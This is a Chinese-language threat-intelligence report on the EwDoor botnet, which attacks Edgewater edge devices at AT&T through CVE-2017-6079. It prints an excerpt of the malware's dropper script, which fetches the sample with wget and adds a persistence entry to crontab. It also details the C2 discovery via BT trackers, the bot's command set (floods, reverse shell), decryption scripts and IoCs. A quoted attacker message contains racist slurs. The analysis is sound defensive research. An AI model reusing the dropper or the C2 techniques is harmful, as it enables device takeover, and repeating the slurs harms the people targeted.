背景介绍

2021年10月27日,我们的BotMon系统发现有攻击者正通过CVE-2017-6079漏洞攻击Edgewater Networks设备,其payload里有比较罕见的mount文件系统指令,这引起了我们的兴趣,经过分析,我们确认这是一个全新的僵尸网络家族,基于其针对Edgewater产商、并且有Backdoor的功能,我们将它命名为EwDoor

最初捕获的EwDoor使用了常见的硬编码C2方法,同时采用了冗余机制,单个样本的C2多达14个。Bot运行后会依次向列表中的C2发起网络请求直到成功建立C2会话。这些C2中多数为域名形式,有趣的是它们多数还未来得及注册,因此我们抢注了第二个域名iunno.se以获取Bot的请求。但一开始连接到我们域名的Bot非常少,因为大多数Bot都成功和第一个C2(185.10.68.20)建立连接,这让我们有些许"沮丧"。

转机发生在2021年11月8日,当天7点到10点EwDoor的第一个C2185.10.68.20发生了网络故障,瞬间大量Bot连接到我们注册的C2域名,这使得我们成功的测绘了EwDoor僵尸网络的规模&感染范围,数据分析表明被攻击的设备是企业网络边界控制器,属于电信公司AT&T,而且它们地理位置全都在美国。遗憾的是在经历这次C2网络故障问题后,EwDoor的作者可能认识到了这种C2使用方式存在缺陷,放弃了硬编码C2的方式,转而采用BT tracker方式动态下发C2,我们也因此失去了对EwDoor的视野。

到目前为止,我们视野中的EwDoor经历了3个版本的更新,它的主要功能可以总结成DDoS攻击和Backdoor 2大类,基于被攻击设备和电话通信相关,我们推测它的主要目的就是DDoS攻击,和窃取敏感信息,如call log等。

鉴于EwDoor的规模,活跃性,被攻击设备本身以及其所属国家的敏感性,我们决定撰写本文向社区分享我们的发现,共同维护网络安全。

时间线

  • 2021年10月27日,首次捕获EwDoor,版本号为0.12.0,主要功能为DDoS Attack,File Manager,Reverse Shell,Port Scan等。
  • 2021年11月8日,EwDoor更新,版本号为0.15.0,将C2从本地移向云端,使用BT Tracker。
  • 2021年11月15日,EwDoor更新,版本号为0.16.0,代码结构变化属于微调级别,加入沙箱对抗功能。
  • 2021年11月20日,EwDoor更新,版本号为0.16.0,代码结构变化属于微调级别,BT Trackers有些许变化。

EwDoor概述

我们一共捕获了3个版本的EwDoor,以版本0.16.0为蓝本,可以将EwDoor定性为,一个通过BT tracker下发C2,使用TLS保护流量,主要盈利手段为DDoS攻击,敏感数据盗取的僵尸网络,目前它通过Nday漏洞CVE_2017_6079传播,主要针对网络电话网关设备。

目前支持6大功能:

  • 自升级
  • 端口扫描
  • 文件管理
  • DDoS攻击
  • 反弹SHELL
  • 执行任意命令

它的基本流程图如下所示:

规模

通过抢注作者未注册的CC域名,我们有一段时间看到了这个Botnet的规模,当时活跃Bot IP 6k左右。被感染设备IP的AS号全部为AS7018|AT&T_Services,_Inc.(美国电信公司AT&T)。通过反查这些设备使用的SSl证书,我们发现使用相同SSl证书的IP有10万左右,我们不清楚这些IP对应的设备有多少可被感染,但可以推测他们可能属于同一类设备,有被感染风险。
ew.door.sip

shell脚本分析

EwDoor的前置SHELL脚本比较长,我们摘取了关键部分以供分析。

setup_ramdisk() {
    dd if=/dev/zero of=$RAMDISK bs=4096k count=1
    gunzip -c $IMAGE > $RAMDISK
    mkdir -p $MOUNT
    mount $RAMDISK $MOUNT
}

download_update() {
    killall -9 ewstat
    sleep $[ ( $RANDOM % 10 ) + 1 ]
    rm -f $IMAGE
    rm -f $EW_BIN
    wget -O $IMAGE $1

    grep "$EW_BIN" /etc/config/crontab >/dev/null 2>&1

    # is it not already in the crontab?
    if [ $? != 0 ]; then
        echo "* * * * * root $EW_BIN >/dev/null 2>&1 &" >> /etc/config/crontab
    fi

    sleep 1

    cfg_commit
}

可以看出SHELL脚本的主要功能为:

  • 下载执行EwDoor样本
  • 设置Crontab,实现持久化

另外值得一提的是EwDoor样本以gzip的形式存放在下载服务器,这在一定程度在逃避了网络规则对2进制文件的查杀;早期版本作者将样本文件制作成Linux rev 1.0 ext2 filesystem文件,然后使用mount这种方式将文件挂载到系统里,这可能也是为了免杀。

样本分析

本文选取最新版0.16为主要分析对象,它的基本信息如下所示:

MD5:7d4937e27d0fd75dd6159ffe53ebb505
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Packer:none
Version: 0.16.0

Ewdoor使用动态链接的方式,虽然使用了一些对抗技巧,但在逆向上没有太多难度。总体来说,功能比较简单,当它在被侵入设备运行时,首先会收集设备信息,实现比较常见的的单一实例,持久化等功能;然后解密出bt tracker,通过访问bt tracker获取C2;最后向C2上报收集到的设备信息,执行C2下发的指令。下文将从对抗技巧,主机行为和网络通信3方面,一一剖析的ewdoor的实现。

对抗技巧

  • 网络层面使用TLS协议,防止通信被一眼看穿

  • 敏感的资源都被加密,增加逆向难度

  • C2从本地移到“云端”,由BT tracker下发,防止被IOC系统直接提取

  • 修改ELF中的"ABIFLAGS" PHT,以对抗qemu-user,以及一些高内核版本的Linux沙箱。这是一种比较少见的对抗技巧,这说明EwDoor的作者对Linux内核,QEMU,以及Edgewater设备都非常熟悉。
    ew_abi
    在实际使用qemu-user进行模拟运行时会产生以下错误提示:

    write(2, "/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\n", 46)
    

主机行为

Ewdoor运行时,会对文件名,参数进行检测。当文件名为"/var/tmp/.mnt/ewupdate",说明这次是更新操作,此时会通过命令cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat,把自身复制成ewstat再启动执行;当没有启动参数,或第一个启动不为script时,则通过bash执行/etc/config/ew.conf脚本;只有当第一个启动数据为script时,才会执行下文的处理逻辑,这在某种程度上也是对沙箱/模拟器的一种对抗。

单一实例

Ewdoor通过文件锁来实现单一实例,具体实现如下所示:

我们可以通过/proc/locks将进程以及文件锁对应起来,此时再执行对应的EwDoor的样本,可以看到并不会有新进程被创建。

收集设备信息

Ewdoor收集被侵入设备的主机名,网卡地址等信息以供后面的上线过程使用。

持久化

Ewdoor通过下面代码,定期结束系统中的netflash进程,netflash命令是一个维护命令,用于远程更新系统。Ewdoor通过阻断维护通道,再配合SHELL脚本中crontab,实现持久化。

网络通信

Ewdoor将网络相关的敏感信息,诸如上线信息,C2,端口等加密存储在样本中。因此要进行网络通信时,首先得解密得到这部分资源,然后通过直接或间接的方式获取到C2,最后和C2建立通信,等待执行C2下发的指令。

解密

Ewdoor使用了3张表来描述加密的资源,一张为密文表,一张为密文长度表,一张为组合表。其中密文&密文长度表是用来描述加密资源本身,而组合表则是用来描述资源如何被组合使用。通过密文表和密文长度而可以解密出BT domain, BT port等信息;通过组合表则可以将BT domain&port 组合成BT tracker。

EwDoor通过“gstr”函数解密敏感信息,它的实现如下所示:

经过逆向分析之后,我们编写了以下IDA脚本,通过它可以解密得到所有的资源信息。

# tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505

pbuf_base=0x00467014
plen_base=0x00455A14

key="холодно в доме папа в тужурке мама дочуркою топит в печурке!"
cnt=0

while idc.get_wide_dword(plen_base)!=0:
    plain=''
    blen=idc.get_wide_dword(plen_base)
    pbuf=idc.get_wide_dword(pbuf_base)
    buf=idc.get_bytes(pbuf,blen)
    for i in range(blen):
        tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
        plain+=tmp
        
    print plain
    plen_base+=4
    pbuf_base+=4
    cnt+=1
    if cnt >=62:
        break

加密资源一共有62项,解密后的前22项如下所示:

index Item index item
0 OrOib2zCIWa10v2bunJ 11 tracker.birkenwald.de
1 6969 12 ipv6.tracker.zerobytes.xyz
2 53 13 fe.dealclub.de
3 1337 14 wassermann.online
4 80 15 mail.realliferpg.de
5 451 16 movies.zsw.ca
6 2770 17 tracker.blacksparrowmedia.net
7 16661 18 code2chicken.nl
8 2710 19 abufinzio.monocul.us
9 2960 20 tracker.0x.tf
10 3391 21 tracker.altrosky.nl

样本中内置的组合表如下所示:

组合表以2项为一组,按顺序组合,即表项11和表项1组合,表项12和表项7组合,依此类推。以[11,1],[12,7]的组合方式为例,分别得到2个BT tracker的地址"tracker.birkenwald.de :6969","ipv6.tracker.zerobytes.xyz:16661"。

获取C2

EwDoor在不同的版本,获取C2的方式不一样,在版本0.12.0时,采用直接方式;而在0.15,0.16则采用间接方式。

直接方式

所谓直接方式,即经过上文的解密流程后,直接就得到了C2。以样本5d653e9a5b1093ef8408c3884fbd9217为例,通过下面的IDA脚本,解密所有加密资源。

# tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217
pbuf_base=0x00467814
plen_base=0x00456100

key="TheMagicalMysteryTourIsComingToTakeYouAway!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
    plain=''
    blen=idc.get_wide_dword(plen_base)
    pbuf=idc.get_wide_dword(pbuf_base)
    buf=idc.get_bytes(pbuf,blen)
    for i in range(blen):
        tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
        plain+=tmp
        
    print plain
    plen_base+=4
    pbuf_base+=4
    cnt+=1
    if cnt>=18:
        break

解密后资源如下表所示,表项1到14为C2,表项15到17为port。

Index Item Index Item
0 F0JEAADWS4kQFj7iPOQyjA 9 rtmxvd.iunno.se
1 185.10.68.20 10 hhqnyy.zapto.org
2 rtmxvd.iunno.se 11 besthatsite.mooo.com
3 ekgmua.zapto.org 12 b.rtmxvdio.ne
4 boatreviews.xpresit.net 13 b.hatbowlu3hf.ru
5 a.rtmxvdio.net 14 b.hatbowlrtx.su
6 a.hatbowlu3hf.ru 15 13433
7 a.hatbowlrtx.su 16 443
8 45.141.157.217 17 53

间接的方式

所谓间接方式,即经过上文解密流程后得到的是BT tracker,必须通过向BT tracker发现特定的请求,才能得到C2,这个过程用到了2个函数“bt_generate_daily_hash_and_port”和“bt_try_find_good_peers”,前者用于获取C2的端口,后者用于获取C2的IP。

bt_generate_daily_hash_and_port函数的实现如下所示,具体逻辑是将当前时间按“%d%m%Y”格式化后,和"1HAT2BWL"进行拼接,接着计算这个字串的SHA1值,再将SHA1的最后2字节进行运算得到C2的端口。

事实上上面这一步骤计算得到的端口,并非真正的端口值,它还需要加上10。这个过程如下图所示:

bt_try_find_good_peers函数的实现如下所示,具体逻辑是将上文的字串SHA1值作为infohash发送给bt tracker,通过Tracker UDP协议得到C2:PORT,如果PORT等于上文的端口值,则此IP就是C2的IP。

以下图2021.11.22日产生的网络流量为例:

红色部分为字串"1HAT2BWL22112021"的SHA1值,它最后2字节为0x23a2,它通过以下的代码运算后,就得到了C2的端口“0xc6fc”。

sha18=0x23
sha19=0xa2

def tohex(val, nbits):
  return hex((val + (1 << nbits)) % (1 << nbits))
port=sha19+((sha18&0xf)<<8)-15536+10

print tohex(port,16)

将上面计算得到的SHA1值作为infohash发送给BT tracker,再比较BT tracker返回的服务器端口,可以看出有3组的端口都是0xcff6,任选一组建立通信。

2d 8d 9b d9 : c6fc  -> 45.141.155.217:50940
3e 4d 9c 67 : c6fc  -> 62.77.156.103:50940
d4 c0 f1 9e : c6fc  -> 212.192.241.158:50940

实际网络连接情况如下所示:

和C2通信

当Ewdoor成功获得C2后,首先通过TLS协议建立连接,然后将上线信息发送给C2,最后等待执行C2下发的指令。这个过程,根据版本的不同,和C2的通信协议可以分成以下俩大类。

0.12 version protocol

  • TLS连接

    TLS连接本身并不值得一说,有意思的点是在0.12的版本中,Ewdoor的作者犯过错误。如下图所示,在0.12版本,Ewdoor通过resolve_and_connect_first解密C2,和C2建立连接。其中参数a1,a2的值来看自res_range,要求a2>=a1才会执行解密,连接这个过程。样本5d653e9a5b1093ef8408c3884fbd9217中a1=8,a2=7,这就产生了BUG,导致编号8到14的C2永远不会被连接,不过Ewdoor的作者很快就意识到了这个Bug,在样本6c553db88e4cd52a2ed4795ec1710421中就修复了。

  • 上线

    通过以下代码构造上线包,上线数据里包括从index 0解密出的字串,版本号,设备主机名,设备网卡地址等信息。

    实际产生的流量如下所示:

    00000000  48 45 4c 4f 20 30 2e 31  32 2e 30 20 46 30 4a 45  |HELO 0.12.0 F0JE|
    00000010  41 41 44 57 53 34 6b 51  46 6a 37 69 50 4f 51 79  |AADWS4kQFj7iPOQy|
    00000020  6a 41 20 64 65 62 69 61  6e 2d 6d 69 70 73 20 31  |jA debian-mips 1|
    00000030  32 33 34 35 36 0a                                 |23456.|
    
  • 支持的指令

    成功上线后,Ewdoor等待执行C2下发的指令,0.12版本支持的指令如下表所示:

    cmd purpose
    uf udp flood
    sf syn flood
    cat exec "cat" cmd
    ping heartbeat
    exec run cmd via bash
    exec2 run cmd via popen
    pscan port scan
    uname exec "uname" cmd
    update write "/tmp/.ewupdate"
    reverse reverse shell
    download download file via wget

0.15,0.16 version protocol

  • TLS连接

  • 上线

    通过以下代码构造上线包,上线数据里包括从index 0解密出的字串,版本号,设备主机名,设备网卡地址等信息。

    实际产生的流量如下所示:

    00000000  00 3b 00 00 00 00 00 00  00 00 02 00 06 30 2e 31  |.;...........0.1|
    00000010  36 2e 30 00 13 4f 72 4f  69 62 32 7a 43 49 57 61  |6.0..OrOib2zCIWa|
    00000020  31 30 76 32 62 75 6e 4a  00 0b 64 65 62 69 61 6e  |10v2bunJ..debian|
    00000030  2d 6d 69 70 73 00 06 31  32 33 34 35 36           |-mips..123456|
    0000003d
    
  • 指令验签

    成功上线后,Ewdoor等待C2下发指令,指令由"len(2 bytes)+Signature(512 bytes)+ sessionid(8bytes)+cmd"4部分组成,当收到指令时,Ewdoor通过proto_verify_signature函数对指令进行数字签名校验,只有通过校验的指令,才会执行。Ewdoor通过这种技术手段保证整个的网络完全可控,不被他人窃取。

    签名校验使用的是RSA-SHA256方式,其中pubkey是加密存放在样本中,一共550字节,逐一和0x2a异或后,就能得到真正的公钥。

    以实际中收到的payload为例,可以按上文所述的格式将其分成4部分。

    通过mbedtls自带的pk_verify工具可以很方便的对上面的payload进行校验。

    >md5 pubkey
    9dba72160f5d02ebdc8a78bcb27defa *pubkey
    >md5 msg
    5a6d3b1018b5e7543ee6f73d6c9df727 *msg
    >md5 msg.sig
    10acc6e0e0447d900d6d46c66c8f4406 *msg.sig
    >cat msg  | hexdump -C
    00000000  00 00 00 00 00 00 01 07  01
    >pk_verify.exe pubkey msg
    . Reading public key from 'pubkey'
    . Verifying the SHA-256 signature
    . OK (the signature is valid)
    

    当指令通过验签后,刚执行具体的命令,此处的命令编号为1,是心跳指令。

    • 支持的指令

    0.15,0.16版本支持的指令如下表所示:

    cmd index purpose
    1 heartbeat
    2 port scan
    4 exec "uname" cmd
    5 download file via wget
    6 update, write "/var/tmp/.ewupdate"
    7 run cmd via bash
    8 run cmd via popen
    9 ddos attack

花絮

  1. Ewdoor的作者是个修BUG的小能手!
    修复前文所述的0.12版本中的C2 BUG只用了16分钟。
eef0035f971622cc5f48e164ca28a95f; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression

fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression
  1. EwDoor的作者是俄罗斯恐怖摇滚青年
    第一次使用的密钥TheMagicalMysteryTourIsComingToTakeYouAway!,是The Beatles乐队的歌词。
    第二次使用的密钥холодно в доме папа в тужурке мама дочуркою топит в печурке!,Google翻译为“it's cold in the house, dad in a jacket, mom drowns her daughter in the stove!”,妥妥的一句话恐怖故事,看着让人不寒而栗。

  2. EwDoor的作者非常凶!
    11月发现我们的蜜罐IP后,在paylaod里骂我们,kill yourself you fucking nigger chink kike, this is a shitty honeypot, DDoS coming,用词相当的种族歧视,政治不正确,直言要攻击,吓得我们"瑟瑟发抖"。

联系我们

感兴趣的读者,可以在twitter或者在微信公众号 360Netlab上联系我们。

IoC

C2

185.10.68.20
rtmxvd.iunno.se
ekgmua.zapto.org
boatreviews.xpresit.net
a.rtmxvdio.net
a.hatbowlu3hf.ru
a.hatbowlrtx.su
45.141.157.217
rtmxvd.iunno.se
hhqnyy.zapto.org
besthatsite.mooo.com
b.rtmxvdio.net
b.hatbowlu3hf.ru
b.hatbowlrtx.su

port: 53, 443,13433

Downloader

http://185[.10.68.20:1234/ew-new.sh
http://185[.10.68.20:1234/ew.sh
http://185[.10.68.20:1234/prod/mips
http://185[.10.68.20:1234/ramdisk.img.gz
http://212[.193.30.209/61501e55/mips
http://212[.193.30.209/859b6cfa.sh

Sample MD5

007c28d9a0ccfb10c478689fd63e0de0
128331f1c808ee385375dd54d0609ebc
46c18a8e93a863053952985a39bd7d63
4f0841ac08a27d8b3d56cbd03fb68ad8
5c4390e1668856cc7f72499a72f935d6
62bc8899a353921ac685cabb63de97b3
67ccb3cf1f4f57f5a0ded4d20bc91d73
7d4937e27d0fd75dd6159ffe53ebb505
84b3df62ed45bea57d0dd85e80f0dc07
8794d23cad330de803294a2a1adb128b
abaed830fe09e92ee434236d3db01e08
b81ade4f18c2df58adef301f401e8a02
ca6eb890853434ab9a0f8cdbab0965ea
ddf96434bdb7b449ddcc925e6a5b3095
eef0035f971622cc5f48e164ca28a95f
fbbacfb20e487265c7fdb30817717f26